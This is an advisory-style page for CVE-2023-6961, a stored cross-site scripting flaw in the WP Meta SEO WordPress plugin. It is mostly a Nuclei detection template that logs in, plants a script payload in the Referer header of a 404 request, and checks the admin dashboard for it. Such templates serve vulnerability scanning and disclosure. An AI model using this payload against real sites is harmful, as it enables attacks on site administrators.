CVE-2023-6961: WP Meta SEO <= 4.5.12 - Stored Cross-Site Scripting

2026-12-04 PoC Public

Description

The WP Meta SEO plugin for WordPress through 4.5.12 is vulnerable to stored Cross-Site Scripting via the Referer header. On any extension-less 404 request the plugin stores the raw, unsanitized Referer header (wp_get_raw_referer) in the wpms_links broken-links table, and later renders it unescaped on the admin "404 & Redirects" broken-link dashboard. An unauthenticated attacker can therefore inject arbitrary JavaScript that executes in the browser of any administrator who views the broken-link report.

Details

CVE
CVE-2023-6961 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2023-6961

info:
  name: WP Meta SEO <= 4.5.12 - Stored Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The WP Meta SEO plugin for WordPress through 4.5.12 is vulnerable to stored Cross-Site Scripting via the Referer header. On any extension-less 404 request the plugin stores the raw, unsanitized Referer header (wp_get_raw_referer) in the wpms_links broken-links table, and later renders it unescaped on the admin "404 & Redirects" broken-link dashboard. An unauthenticated attacker can therefore inject arbitrary JavaScript that executes in the browser of any administrator who views the broken-link report.
  impact: |
    An unauthenticated attacker can store JavaScript that executes in the context of an administrator viewing the WP Meta SEO broken-link dashboard.
  remediation: |
    Update the WP Meta SEO plugin to version 4.5.13 or later, which sanitizes the Referer value with wp_sanitize_redirect() before storing it.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ca91e41d-b728-4eb0-86d5-043813d8c2c1
    - https://plugins.trac.wordpress.org/changeset?new=3071453%40wp-meta-seo%2Ftrunk&old=3068145%40wp-meta-seo%2Ftrunk
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6961
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-6961
    epss-score: 0.0085
    epss-percentile: 0.59398
    cwe-id: CWE-79
    cpe: cpe:2.3:a:joomunited:wp_meta_seo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: joomunited
    product: wp_meta_seo
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-meta-seo/"
    publicwww-query: "/wp-content/plugins/wp-meta-seo/"
  tags: cve,cve2023,wp-plugin,wp,wordpress,wp-meta-seo,xss,authenticated,joomunited,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  # [1] Authenticate as administrator
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: word
        part: header
        words:
          - "wordpress_logged_in"
        internal: true

  - raw:
      - |
        GET /{{rand}}/ HTTP/1.1
        Host: {{Hostname}}
        Referer: "><script>alert(document.domain)</script>

    matchers:
      - type: status
        status:
          - 404
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=metaseo_broken_link HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - "metaseo_broken_link"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009a2b4aa7ceed2b2ee76d8402671344c36cf9402b94dcc4f6a140a886acdeebd10220282b8a41cb15c9f938c890e52920bc81de2abc426e9e42b475f07a47a66702f2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life